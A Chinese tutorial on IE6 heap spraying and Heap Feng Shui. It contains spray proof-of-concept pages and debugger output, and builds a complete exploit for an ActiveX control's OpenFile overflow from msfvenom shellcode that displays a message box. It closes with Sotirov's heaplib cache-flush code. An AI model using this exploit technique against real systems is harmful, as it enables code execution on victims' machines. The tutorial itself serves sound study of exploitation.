从 HeapSpray( 堆喷射 ) 到 HeapFengShui( 堆风水 )

前言

HeapSpray( 堆喷射 ) 已经是项非常古老的技术(相对而言)。本文介绍的大部分内容已经不具备实战意义了,但沿着前人的脚步,可以发现这种技术背后的思想和方法是非常巧妙和有效的。

由于各种各样的原因,复现的成功率还是蛮低的。

本文首先介绍下 HeapSpray 及其相关的 js 概念,并通过一个漏洞利用来直观感受下,然后引出 HeapFengShui 的概念。

HeapSpray

简单来说,HeapSpray 是一种 payload 传递技术,仅用来布局 shellcode!常用于浏览器和文档型漏洞利用中!

最早使用heap spray技术是在2001(MS01-033)。2004年,Skylined 在 CVE-2004-1050 的 exploit \textbf{IE Iframe tag buffer exploit} 中使用到这种技术,采用的是极其经典的nops+shellcode的方式,在 2004 年后广泛运用于浏览器漏洞利用。

一般使用 HeapSpray 就是:

  1. 喷射到 heap chunk
  2. trigger a vul
  3. 劫持控制流 /EIP 并指向堆中

IE 浏览器下的堆喷射一般都是通过 js 实现的。IE6~IE8 浏览器的堆喷射是使用 Javascript String 对象进行的。

基于 js 的内存分配

在浏览器内存中分配内存的最常见方法就是使用 javascript。这涉及到 Windows 下的 BSTR 字符串对象,jscript unescape() 函数和 js 的垃圾回收机制。

BSTR 字符串对象验证

在 Windows 下 BSTR 字符串对象内存布局如下:https://docs.microsoft.com/zh-cn/previous-versions/windows/desktop/automat/bstr

1
2
header | data | terminator
4 bytes | string(unicode) | \x00\x00

在 xp sp 3 + ie6 下查看 BSTR 内存布局,js_basic1.html文件内容如下:

1
2
3
4
5
6
7
8
9
10
<html>
<body>
<script language='javascript'>

var myvar = "CORELAN!";
alert("allocation done");

</script>
</body>
</html>

ie6 打开,弹出 “allocation done” 对话框,windbg attach,搜寻字符串,查看字符串对应的内存布局
字符串内存布局

jscript unescape() 验证

通过 unescape() 这个函数即可解决字符串 unicode 在内存的编码问题。

js_basic3.html

1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<script language='javascript'>

var myvar = unescape('%u4F43%u4552'); // OC ER
myvar += unescape('%u414C%u214E'); // AL !N
alert("allocation done");

</script>
</body>
</html>

Windbg 搜索字符串如下

1
2
3
4
5
6
7
0:000> s -a 0x00000000 L?7fffffff "CORELAN"
0016c2a4 43 4f 52 45 4c 41 4e 21-00 00 00 00 04 00 03 00 CORELAN!........
0:000> db 0x16c294
0016c294 00 00 00 00 03 00 c4 00-36 01 08 00 08 00 00 00 ........6.......
0016c2a4 43 4f 52 45 4c 41 4e 21-00 00 00 00 04 00 03 00 CORELAN!........
0016c2b4 33 01 0c 00 06 00 00 00-f8 c4 16 00 0a 00 00 00 3...............
...

从上述可以看到,BSTR header 的数值是8,正好对应字符串长度是 8 字节。

使用unescape函数的最大好处就是可以使用null字节。

js 的垃圾回收机制

在 Internet Explorer 中的 JavaScript 引擎实现了一个 CollectGarbage() 函数。

XP+IE6 HeapSpray

调试环境:

  • XP sp3
  • IE6 6.0.2900 5512
  • Windbg 6.12.0002.633 x86

xp+ie6_HeapSpray_poc.html 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
<SCRIPT language="JavaScript">
var sc = unescape("%ucccc%ucccc");
var nop = unescape("%u0101%u0101");
while (nop.length < 0x40000)
nop += nop;
nop = nop.substring(0,0x40000-0x20-sc.length);
heap_chunks = new Array();
for (i = 0 ; i < 500 ; i++)
heap_chunks[i] = nop+sc;
</SCRIPT>
</html>

0:006> dc 0x0c0c0c0c
0c0c0c0c 01010101 01010101 01010101 01010101 ................
0c0c0c1c 01010101 01010101 01010101 01010101 ................
0c0c0c2c 01010101 01010101 01010101 01010101 ................
0c0c0c3c 01010101 01010101 01010101 01010101 ................
0c0c0c4c 01010101 01010101 01010101 01010101 ................
0c0c0c5c 01010101 01010101 01010101 01010101 ................
0c0c0c6c 01010101 01010101 01010101 01010101 ................
0c0c0c7c 01010101 01010101 01010101 01010101 ................

直接打开这个 html 文件,IE 没有崩溃,Windbg 附加,查看 0x0c0c0c0c 处内容如上所示。如果是一个正常的内容,那么这块内存的数据是 ?。

解释下这段 POC, 根据前面 Windows 下使用的是 BSTR 字符串对象,所以 JavaScript 字符使用的是 2 个字节的,所以 heap_chunks 的大小实际上就是 0x400002500 字节 == 262144000 字节。

而 0x0c0c0c0c == 202116108,所以可实现覆盖 0x0c0c0c0c。

观察 spray 过程

如下 spray1.html 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<html>
<script >
// heap spray test script
// corelanc0d3r
// Don't forget to remove the backslashes
tag = unescape('%u4F43%u4552'); // OC ER
tag += unescape('%u414C%u214E'); // AL !N

chunk = '';
chunksize = 0x1000;
nr_of_chunks = 200;

for ( counter = 0; counter < chunksize; counter++)
{
chunk += unescape('%u9090%u9090'); //nops
}

document.write("size of NOPS at this point : " + chunk.length.toString() + "<br>");
chunk = chunk.substring(0,chunksize - tag.length);
document.write("size of NOPS after substring : " + chunk.length.toString() + "<br>");

// create the array
testarray = new Array();
for ( counter = 0; counter < nr_of_chunks; counter++)
{
testarray[counter] = tag + chunk;
document.write("Allocated " + (tag.length+chunk.length).toString() + " bytes <br>");
}
alert("Spray done")

</script>
</html>

vmmap for windows

xp 下使用 3.20 版本

vmmap 是微软出的实用小工具。

喷射前,commit 的内存块大小是 88084
Before 喷射

喷射后提交的内存块是 93752
After 喷射

ImmunityDebugger+mona

mona 是 Corelan Team 团队开发的一个用 Python 编写的专门用于辅助漏洞挖掘的脚本插件。https://github.com/corelan/mona,download 下来,放置在 ‘PyCommands’ 目录下。

搜索字符串

1
!mona find -s "CORELAN!"

Mona 搜索字符串
Mona找出了201个地址,其中包括前面声明变量时分配的tag,以及200个内存块前置的tag。查看find.txt(mona命令生成的),可以找到包含tag的 201 个地址。

查看 find.txt 最后一条数据 0x0557054c ( 即最后分配的内存数据 )

1
>d 0x0557054c

d 0x0557054c
可以看到 0x0557054c 即是 BSTR 的 header,大小是 0x2000

查看 0x0557054c+0x1000 ,发现填充的数据是 0x90;查看 0x0557054c + 0x2000,如下图
d 0x0557054c+0x1000
可以发现到了喷射的字符串结尾。

Windbg 查看调试情况

查看堆的状况

1
2
3
4
5
0:009> !heap -p -a 0x0557054c
address 0557054c found in
_HEAP @ 140000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
05570540 0403 0000 [01] 05570548 02010 - (busy)

利用 HeapSpray 实现 exp

ENV:

崩溃重现

安装

1
regsvr32 rspmp3ocx320sw.ocx

COMRaider Start-open rspmp3ocx320sw.ocx-OpenFile-右键 fuzz number
得到异常

分析第一个异常文件 1788900268.wsf

内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687' id='target' />
<script language='vbscript'>

'File Generated by COMRaider v0.0.134 - http://labs.idefense.com

'Wscript.echo typename(target)

'for debugging/custom prolog
targetFile = "E:\binary\HeapSpray\exp_practise\rsp_mp3_ocx_3.2.0_sw\rspmp3ocx320sw.ocx"
prototype = "Function OpenFile ( ByVal Inputfile As String )"
memberName = "OpenFile"
progid = "RSPMP3_320.RSPMP3"
argCount = 1

arg1=String(1044, "A")

target.OpenFile arg1

</script></job></package>

可以看出这是个 vb 脚本

转换成 js 脚本

实现控制 EIP

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<head>
<object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
</head>
<body>
<script>
pointer='';
for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
Oops.OpenFile(pointer);
</script>
</body>
</html>

调试

修改 IE 设置允许加载 ActiveX 组件

先起 IE ,Windbg attach,g

IE open exp.html 文件,Windbg 如下图:
windbg 调试界面
此时单步 p, eip == 0x06060606

exp

生成 shellcode

1
2
3
4
5
$msfvenom -a x86 --platform Windows -p windows/messagebox text='Hello,HeapSpray' title='asanzjx' -f js_le
No encoder or badchars specified, outputting raw payload
Payload size: 262 bytes
Final size of js_le file: 786 bytes
%uebd9%ud99b%u2474%u31f4%ub2d2%u3177%u64c9%u718b%u8b30%u0c76%u768b%u8b1c%u0846%u7e8b%u8b20%u3836%u184f%uf375%u0159%uffd1%u60e1%u6c8b%u2424%u458b%u8b3c%u2854%u0178%u8bea%u184a%u5a8b%u0120%ue3eb%u4934%u348b%u018b%u31ee%u31ff%ufcc0%u84ac%u74c0%uc107%u0dcf%uc701%uf4eb%u7c3b%u2824%ue175%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%ub2c3%u2908%u89d4%u89e5%u68c2%u4e8e%uec0e%ue852%uff9f%uffff%u4589%ubb04%ud87e%u73e2%u1c87%u5224%u8ee8%uffff%u89ff%u0845%u6c68%u206c%u6841%u3233%u642e%u7568%u6573%u3072%u88db%u245c%u890a%u56e6%u55ff%u8904%u50c2%ua8bb%u4da2%u87bc%u241c%ue852%uff5f%uffff%u7a68%u786a%u6858%u7361%u6e61%udb31%u5c88%u0724%ue389%u7268%u7961%u6858%u7061%u7053%u6f68%u482c%u6865%u6548%u6c6c%uc931%u4c88%u0f24%ue189%ud231%u5352%u5251%ud0ff%uc031%uff50%u0855

所以最终的 exp.html 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<html>
<head>
<object id="Oops" classid='clsid:3C88113F-8CEC-48DC-A0E5-983EF9458687'></object>
</head>
<body>
<script>

var Shellcode = unescape("%uebd9%ud99b%u2474%u31f4%ub2d2%u3177%u64c9%u718b%u8b30%u0c76%u768b%u8b1c%u0846%u7e8b%u8b20%u3836%u184f%uf375%u0159%uffd1%u60e1%u6c8b%u2424%u458b%u8b3c%u2854%u0178%u8bea%u184a%u5a8b%u0120%ue3eb%u4934%u348b%u018b%u31ee%u31ff%ufcc0%u84ac%u74c0%uc107%u0dcf%uc701%uf4eb%u7c3b%u2824%ue175%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%ub2c3%u2908%u89d4%u89e5%u68c2%u4e8e%uec0e%ue852%uff9f%uffff%u4589%ubb04%ud87e%u73e2%u1c87%u5224%u8ee8%uffff%u89ff%u0845%u6c68%u206c%u6841%u3233%u642e%u7568%u6573%u3072%u88db%u245c%u890a%u56e6%u55ff%u8904%u50c2%ua8bb%u4da2%u87bc%u241c%ue852%uff5f%uffff%u7a68%u786a%u6858%u7361%u6e61%udb31%u5c88%u0724%ue389%u7268%u7961%u6858%u7061%u7053%u6f68%u482c%u6865%u6548%u6c6c%uc931%u4c88%u0f24%ue189%ud231%u5352%u5251%ud0ff%uc031%uff50%u0855");

var NopSlide = unescape('%u9090%u9090');

var headersize = 20;
var slack = headersize + Shellcode.length;
while (NopSlide.length < slack) NopSlide += NopSlide;
var filler = NopSlide.substring(0,slack);
var chunk = NopSlide.substring(0,NopSlide.length - slack);
while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }

// Trigger crash =>EIP == 0x06060606
pointer='';
for (counter=0; counter<=1000; counter++) pointer+=unescape("%06");
Oops.OpenFile(pointer);

</script>
</body>
</html>

最终执行效果如下:
最终执行效果

为什么是 0x0c0c0c0c?

关于 0x0c0c0c0c 这个地址有很多讨论。

一是因为堆的分布不均衡(存在碎片),所以最先分配的一些堆块的地址可能是无规律的,但是如果大量的分配堆块的话,那么就会出现稳定的地址分布。也就是说内存中碎片过多,必须喷射到更高的地址才能使 exploit 更稳定。利用JavaScript申请大量堆内存,通常申请的内存超过200MB(0xc800000)后,0x0c0c0c0c 将被含有shellcode 的内存片覆盖。只要内存片中的 0x90 能够命中0x0c0c0c0c的位置,shellcode就能最终得到执行!

二则涉及虚函数和多级指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/*
* file name: vtable_demo.cpp
* vs2017
*/
#include <cstdio>

using namespace std;

class CVirtual {
private:
int m_nNumber;
public:
virtual int GetNumber() {
return m_nNumber;
}

virtual void SetNumber(int nNumber) {
m_nNumber = nNumber;
}
};


int main(int argc, char *argv[]) {
CVirtual MyVirtual;
MyVirtual.SetNumber(argc);
printf("%d\r\t", MyVirtual.GetNumber());
return 0;
}

对虚表初始化调试如下图:
虚表初始化调试
可以看到 this == 0xaffc98,存储着 vfptr== 0x1367b34,m_nNumber

vfptr 指向的区域存储着两个函数指针,&GetNumber == 0x13611cc; &SetNumber == 0x1361082

this 对象和虚表关系示意图
虚表初始化调试

在之前的编译器中,调用对象的虚函数汇编指令可能是形如以下:

1
2
3
4
5
6
7
; this
MOV EAX,DWORD PTR SS:[EBP+8]
; vfptr
MOV EDX,DWORD PTR DS:[EAX]
; call function
MOV EAX,[EDX+4]
CALL EAX

那么这样就有问题,如果能控制最初的指针,确保在喷射后,内存地址 0x0c0c0c0c 也包含有 0x0c0c0c0c,那么就可以形成如下的指令序列:

1
2
3
4
5
6
7
; this
MOV EAX,DWORD PTR SS:[EBP+8] <- put 0x0c0c0c0c in eax
; vfptr
MOV EDX,DWORD PTR DS:[EAX] <- put 0x0c0c0c0c in edx
; call function
MOV EAX,[EDX+4] <- put 0x0c0c0c0c in eax
CALL EAX <- jump to 0x0c0c0c0c

而 0x0c0c0c0c 如果作为指令是 or al,0x0c,在任何时候都不会直接引发异常,这样就可被当作 sled 指令也不会影响执行的。

当然最新的编译器 ( VS2017 ) 一般都是如下图的:
VS2017 调用对象虚函数

HeapFengShui

“HeapFengShui” 是由 Alexander Sotirov 提出来的。

他认为传统的堆喷射由于堆中内存由于 Heap cache 机制难以预测,利用不稳定且资源消耗大。因此提出了一种新的可靠且精准的利用方法。并且实现了 heaplib.js 库,使得 heap spray 更易实现。

IE 中涉及内存分配的组件有三个:

  • mshtml.dll
  • jscript.dll
  • ActiveX 控制器

Windows 堆管理策略简述

得益于前人研究。与 Linux 下类似,Windows 用 chunk table 来管理和索引堆区中所有的空闲堆 chunk 的重要信息。chunk table 一般位于堆区的起始位置。一般分:

  • Freelist- 空闲双向链表,空表,前端分配器
  • Lookaside- 快速单向链表,快表,heap chunk 不会发生合并,空闲 chunk header 被设置为 inuse,后端分配器

其分配和释放规则如下:
| | 分配 | 释放 |
| ——– | :—–: | :—-: |
| 小块 | 首先进行快表分配;若快表分配失败,进行普通空表分配;
若普通空表分配失败,使用堆缓存分配;
若堆缓存分配失败,尝试零号空表分配(freelist[0]);
若零号空表分配失败,进行内存紧缩后在尝试分配;
若仍无法分配,返回NULL | 优先链入快表(只能链入4个空闲块);
如果快表满,则将其链入相应的空表 |
| 大块 | 首先使用堆缓存进行分配;
若堆缓存分配失败,使用free[0]中的大块进行分配 | 优先将其放入堆缓存;
若堆缓存满,将链入freelist[0] |
| 巨块 | 要用到虚分配方法(实际上并不是从堆区分配的) | 直接释放,没有堆表操作 |

oleaut32.dll 的 heap cache 机制

oleaut32.dll 这个引擎管理内存实现快速分配/再分配。32767 bytes 大小以上的块会直接被释放掉,并且不会被缓存。

缓存管理表按块大小排序组织。每一小块 “bin” 在缓存表里可以保存堆块的数值。有4种 “bin” :
| Bin | Size Of Blocks this bin can hold
| ——– | :—–:
| 0 | 1 to 32 bytes
| 1 | 33 to 64 bytes
| 2 | 65 to 256 bytes
| 3 | 257 to 32768 bytes
每一个 bin 可容纳 6 个指针

Plunger 技术 - 绕过 oleaut32.dll 的缓存机制

理想的情况下,做堆喷射时,我们要确保我们的分配是由系统堆处理。通过这种方式,基于堆的可预测性的特点,连续申请会导致在同一内存地点的连续内存空间。

而缓存管理器返回的地址可以在堆里面的任何地方,所以地址将是不可靠的。

由于缓存中每个 bin 只能容纳 6 个地址,Mr.Sotirov 提出了 “plunger” 的技术,其刷新缓存中的所有块,并让他们空下来。如果缓存中没有块,缓存不能分配任何块还给你,所以确保你的内存申请使用的是系统堆,而不是 oleaut32 中的堆。这将增加获得连续内存块的可预见性。

为了做到这一点,他只试图申请缓存列表中的6块(1和32之间的大小的内存块申请6块,6块大小33和64之间,并为每个bin依此类推)。这样一来,确保了缓存是空的。“刷新”后发生的分配,将由系统堆处理。

具体代码在 heaplib.js 中 heaplib flush function 实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//
// The JScript interpreter uses the OLEAUT32 memory allocator for all string
// allocations. This allocator stores freed blocks in a cache and reuses them
// for later allocations. The cache consists of 4 bins, each storing up to 6
// blocks. Each bin holds blocks of a certain size range:
//
// 0 - 32
// 33 - 64
// 65 - 256
// 257 - 32768
//
// When a block is freed by the OLEAUT32 free function, it is stored in one of
// the bins. If the bin is full, the smallest block in the bin is freed with
// RtlFreeHeap() and is replaced with the new block. Chunks larger than 32768
// bytes are not cached and are freed directly.
//
// To flush the cache, we need to free 6 blocks of the maximum size for each
// bin. The maximum size blocks will push out all smaller blocks from the
// cache. Then we allocate the maximum size blocks again, leaving the cache
// empty.
//
// You need to call this function once to allocate the maximum size blocks
// before you can use it to flush the cache.
//

heapLib.ie.prototype.flushOleaut32 = function() {

this.debug("Flushing the OLEAUT32 cache");

// Free the maximum size blocks and push out all smaller blocks

this.freeOleaut32("oleaut32");

// Allocate the maximum sized blocks again, emptying the cache

for (var i = 0; i < 6; i++) {
this.allocOleaut32(32, "oleaut32");
this.allocOleaut32(64, "oleaut32");
this.allocOleaut32(256, "oleaut32");
this.allocOleaut32(32768, "oleaut32");
}
}

结合 “plunger” 技术,在任意时刻调用 GC,申请给定大小的内存块,进一步可以尝试整理堆,填补堆布局中的所有空隙,那么这样就可以保证在分配的时候堆内存是连续的。

Reference